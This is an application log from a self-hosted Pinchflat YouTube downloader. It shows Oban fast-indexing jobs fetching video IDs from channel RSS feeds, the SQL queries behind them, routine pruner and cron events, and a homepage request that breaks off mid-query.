{"args":{"id":2},"id":678,"meta":{},"system_time":1784905249185310337,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:00:49.185 [debug] QUERY OK source="sources" db=0.2ms idle=265.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:00:49.185 [debug] QUERY OK source="tasks" db=0.2ms idle=266.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:00:49.185 [debug] QUERY OK source="settings" db=0.0ms idle=266.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:00:49.186 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:00:49.186 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:00:49.186 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:00:49.186 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 15:00:49.316 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:00:49.317 [debug] QUERY OK source="media_items" db=0.1ms idle=131.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:00:49.317 [debug] QUERY OK source="media_items" db=0.2ms idle=131.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:00:49.318 [debug] QUERY OK source="tasks" db=0.1ms idle=131.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [681, 2, ~U[2026-07-24 15:00:49Z], ~U[2026-07-24 15:00:49Z]] 15:00:49.318 [info] {"args":{"id":2},"id":678,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":132881,"event":"job:stop","queue_time":333677,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:00:49.318 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:00:56.978 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.645 [info] {"source":"oban","duration":555,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:01:03.199 [info] {"args":{"id":1},"id":679,"meta":{},"system_time":1784905263199272830,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:01:03.199 [debug] QUERY OK source="sources" db=0.1ms idle=277.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:01:03.199 [debug] QUERY OK source="tasks" db=0.2ms idle=277.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:01:03.199 [debug] QUERY OK source="settings" db=0.0ms idle=277.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:01:03.199 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:01:03.200 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:01:03.200 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:01:03.200 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 15:01:03.238 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:01:03.238 [debug] QUERY OK source="media_items" db=0.1ms idle=38.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:01:03.240 [debug] QUERY OK source="media_items" db=2.2ms idle=38.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:01:03.241 [debug] QUERY OK source="tasks" db=0.0ms idle=41.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [682, 1, ~U[2026-07-24 15:01:03Z], ~U[2026-07-24 15:01:03Z]] 15:01:03.241 [info] {"args":{"id":1},"id":679,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":42189,"event":"job:stop","queue_time":576506,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:01:03.242 [debug] QUERY OK source="tasks" db=0.3ms idle=0.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:01:18.216 [info] {"args":{"id":3},"id":680,"meta":{},"system_time":1784905278216210705,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:01:18.216 [debug] QUERY OK source="sources" db=0.0ms idle=1291.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:01:18.216 [debug] QUERY OK source="settings" db=0.1ms idle=1006.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:01:18.216 [debug] QUERY OK source="tasks" db=0.3ms idle=1291.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:01:18.217 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:01:18.217 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:01:18.217 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:01:18.217 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 15:01:18.244 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:01:18.244 [debug] QUERY OK source="media_items" db=0.2ms idle=27.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:01:18.246 [debug] QUERY OK source="media_items" db=1.6ms idle=28.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:01:18.247 [debug] QUERY OK source="tasks" db=0.0ms idle=29.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [683, 3, ~U[2026-07-24 15:01:18Z], ~U[2026-07-24 15:01:18Z]] 15:01:18.247 [info] {"args":{"id":3},"id":680,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":31211,"event":"job:stop","queue_time":418966,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:01:18.247 [debug] QUERY OK source="tasks" db=0.2ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:01:26.979 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:56.980 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.646 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:02:26.981 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:56.982 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.647 [info] {"source":"oban","duration":411,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:03:26.983 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:56.985 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.648 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:04:26.986 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:56.987 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.648 [info] {"source":"oban","duration":116,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:05:26.989 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:56.990 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.650 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:06:26.991 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:46.720 [info] GET / 15:06:46.720 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:06:46.721 [debug] QUERY OK source="settings" db=0.1ms idle=1781.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:06:46.721 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1782.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:06:46.721 [debug] QUERY OK source="sources" db=0.0ms idle=1782.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:06:46.724 [debug] QUERY OK source="media_items" db=3.5ms idle=1159.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:06:46.725 [debug] QUERY OK source="media_items" db=0.3ms idle=160.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:06:46.725 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:06:46.725 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:06:46.725 [debug] QUERY OK source="settings" db=0.0ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 